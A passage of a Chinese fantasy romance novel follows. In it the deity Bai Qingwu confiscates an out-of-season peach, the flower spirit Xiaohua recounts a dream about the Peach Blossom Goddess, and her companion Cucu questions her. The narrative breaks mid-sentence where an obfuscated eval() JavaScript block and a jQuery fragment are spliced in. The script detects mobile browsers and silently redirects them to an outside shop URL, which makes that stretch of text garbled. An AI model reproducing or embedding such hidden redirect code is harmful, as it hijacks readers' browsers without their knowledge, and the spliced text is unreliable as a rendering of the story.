“这是……桃子?”小花有些疑惑。
白卿芜原本都已经起身准备走了,见她没动,还这么问,又折返回来。
“啊?对啊,吃一口垫垫,早点去休息吧,今天不早了。”
这么明显的桃子都看不出来?白卿芜要有一点不耐烦了,转身要走,今晚他已经在她身上浪费了太多时间。
“现在才刚三月,人间山下的桃子竟然已经长出来了吗?”小花看着手上的桃子,喃喃道。
“嗯?”
经小花这么一说,白卿芜才后知后觉地反应过来。如今确实是人间的三月,桃子……这委实有些为难他。碧落天四季如春,仙果花草想什么时候成熟,什么时候开花,一切都随草木心意,他哪里知晓凡间的节气。况且,一个神君,掌的是星辰更替,三界安宁,凡间一颗桃子应当在何时落地……这种事情他还确实不知道。
见他一副好像不是很理解的样子,小花却不知为何突然来了耐心,捧着桃子小声解释,“人间的桃子最早也要到五月底才能成熟……”
白卿芜没等她把话说完,就已经把桃子接了过去。仔细将桃子上上下下检查了一遍,甚至用灵力细细探了这颗桃子的内里。
“也没什么特别的……”
小花本来只是心里觉得疑惑,估摸着可能是比较独特的桃子?觉得大概只是自己没见过罢了。可是见白卿芜突然这般严肃起来,也顿时觉得好奇,一点点地凑过去仔细端详。
两人研究了许久,这桃子和普通桃子并无区别,自然也找不到什么特别之处,可是这三月就有桃子这件事情本身,就已经是最大的奇怪之处了。
白卿芜将那个桃子攥在手里,翻来覆去后再没还给她。过了许久后他开口,“这个就别吃了,我先收着。”说罢,又重新将桃子收了回去。
桃子收走了,白卿芜手里也没啥吃的能给她,他想都没想便转身往厨房的方向走。没走两步便回头看看小花有没有跟上,扭头一看,小花依旧是靠在栏杆边上,像是没反应过来他要干嘛。
“罢了罢了,你先回去歇着,我去看看厨房那边有没有吃食,一会给你送来。”
白卿芜轻叹一口气,要不是这半夜里季时睡着,为着这么个事去薅他,未免显得没有人性。可他一堂堂神君、天君之子、未来的三界之主,给这小花妖又是劝导,又是陪聊,又是亲自找食的,今晚这掉价的事情做的可确实不少。
这事要是传出去,碧落天大概没人能信。
白卿芜撇撇嘴,无奈转身离开,走之前还不忘反复叮嘱小花赶紧回去,又怕小花只是耳朵听着,并不行动,还特地等她从栏杆上下来才放心转身。夜里寒凉,别再冻出个好歹来……毕竟白府,不养闲人。
看着小花往屋子方向开始慢慢挪,白卿芜这才放心地往厨房走,谁料前脚还没走几步,身后的小花又喊住了他。
“又怎么了?”白卿芜偏过头来看他,语气比起之前,又少了几分耐心,步子也停下的更干脆了些,像是这句听完,他今晚就真的不再想听小花在这叨叨了。
小花被他的语气顶了一下,顿时有些话也不知道到底要不要说,此时说又是否合适。可是想起刚刚那个在她手上短暂停留过的不合时宜的桃子,她犹豫了一瞬,还是开口道:“那个……我在昏迷的时候,做了一个梦。”
大半夜的不睡觉又开始想到什么梦?白卿芜微微皱了皱眉头,此刻他有点想回去。
见白卿芜没什么反应,小花努力回想,“梦里有个女人的声音,但我看不清她的脸。她一直在问我手上的那根红绳栓的是谁,还问我想不想解开它。然后她说,如果红绳那头拴着的人不是真心待我,或者说,他会让我失去至亲……”说到这里,她抬眼看了看白卿芜,“她让我一定记得去曦月山的桃花娘娘庙找她。”
桃花娘娘庙?又是桃花娘娘?这短短几日,桃花娘娘这个名字未免出现得也太频繁了些,白卿芜想。
他也不是第一天来到曦月镇,关于曦月镇过往的那些传闻他也是略知一二,但之前也从未觉得这个名字的存在感如此强烈。反而是这个小花妖出现以后……
他忍不住去胡乱猜想,镇上的神庙、神庙遗址处的禁原、抛向深山的神像、以及那个大妖木白临死之前也曾提到了这个“桃花娘娘”。
哦,还有他怀里刚刚收起来的那个不合时令的桃子。
这些事情一股脑地出现,应该不会只是巧合。他总觉得哪里不对,但又具体说不出来问题到底在哪里。
“她还有什么其他的话吗?你还梦到了什么?”
“没……没有了,”小花认真地想了想,“那个梦模模糊糊的,我只记清了这些……”梦里的情形模糊多变,那人的声音又虚无缥缈般的来回晃荡,弄得小花根本分不清现实和虚妄,若是说这个梦里的内容是不是她脑子不清醒时的臆想……这连她自己都说不清楚,所以才会犹豫到底要不要跟白卿芜说。
白卿芜听完并没有说话,这个梦太过于巧合,什么红绳、失去至亲,怎么听都像是意有所指,但若并不是小花昏迷中的臆想,此事确是哪哪都透露着古怪。
“你是觉得我在胡说吗?”小花像是看出了白卿芜在想什么。
白卿芜正准备说话,余光却不小心扫到小花身后的回廊尽头,那里像是有什么东西快速地从回廊边擦过。白卿芜没怎么看清,但隐隐约约的瞅见半个动作很快的脑袋瓜子。
他并没有去深究那边的小插曲,收回视线。“你应当是近日忧思过度、心绪不宁,以致神思昏聩,才做了一些奇怪的梦。”
白卿芜安慰道,“别胡思乱想了,还是早些回屋休息吧,在外面待的时间够长了,你屋里的那个会担心的。”
小花这才想起被自己留在屋里的醋醋,她出来的时间确实不算短。白府对小花来说尚且不算过于地陌生,但对醋醋来说就不是了,若是醒来看不见自己……小花赶紧点了点头,听话地没再磨蹭。
刚走两步,想到身上披着的披风,正准备拿下来还给白卿芜,回头一看,白卿芜早就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778257|205252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走的远远的了。
罢了,下次再还也是一样的。
她一路上都在想着今晚的月亮,奇怪的梦,还有那个隐于暗处的新名字,从今晚开始,以后,她都要叫“花隐”这个新名字了。
推门进了屋子,小花就看见醋醋坐在自己的床上等她。屋里没有开灯,还好今夜的月亮够大够亮,不然也是很难看得清屋里人的模样。小花摸着墙壁去找桌上的油灯,摸了几次也没找到,索性放弃了点灯,靠着墙壁缓了口气,慢慢往床边走。
“怎么醒了?刚好,你在床边睡的不舒服,来我边上睡吧。”她伸手拍了拍自己的床铺。
醋醋一下子把屁股从床沿边挪到床边的地板上。“阿姐在乱说什么,阿姐是女子,男女授受不亲不知道吗?这话你还跟别的男子说过吗?”
窗外的月光虽然很亮,但照到屋子里时已经不知道被削弱了多少分,所以小花并没有看清他脸上是什么表情,只当他是在客气。
“可是这屋里没有别的可以睡觉的地方。”她环顾四周,这间厢房也只是当时白卿芜给她临时歇脚的屋子,除了离白卿芜的卧房比较近,能放在眼皮子底下看着以外,屋里的家具物什也只有简单的几样。至于能睡的地方……确实没有。
“那,我去找白公子多要一床被子,你铺在地上也比趴在床边上好啊。”小花说着便要起身,醋醋一把按住她,把她的肩膀掰过来让她看着自己。“你别去,我不用,真的不用。”
“那怎么成……”
“阿姐!”醋醋打断她。
“我有很多问题想问你,”醋醋跪坐在床沿边,双手按在小花的膝盖上,“阿姐,我们为什么要留在白府?白公子到底是什么人?你和白公子之间是什么关系?你们刚刚在回廊里……”
他这问题又多又急,从跟着阿蕈他们下山,一路到禁原,再经历先前的一切,醋醋有太多的疑问。只是先前碍于小花和阿蕈两人之间的状态,醋醋没法问,也找不到机会问。但是刚才,睡醒来到门外找阿姐的他亲眼看见阿姐和那个白公子,两人在回廊里待了很久很久,阿姐的身上还披着男子的大氅。他不得不想知道这一切到底是什么情况。
明明大家在曦月山那么久,过的都好好的,怎么一夕之间,木白爷爷走了,阿蕈玖婉和阿姐之间分道扬镳,为什么阿姐宁愿相信一个道士也不要回曦月山?
他当然是无条件的相信阿姐,跟随阿姐,但这并不代表他不想知道这些事情的真相。
小花本能地想逃,连眼神都不敢在他脸上停留,匆匆眨了眨眼后垂眸盯起了盖在自己腿上的那件大氅。
“你……你的问题问得太多了。”
这些事情醋醋迟早会问,小花心里是清楚的,但她没有想到会问得这么快。事到如今,她的脑袋里都还是这些自己都想不通消化不了的情绪和事情,又该如何去跟醋醋解释说明?真是一点喘息的时间都不留给她。
“好,那我一个一个问,既然我选择陪你留在这,有的事情我得知道,对不对?”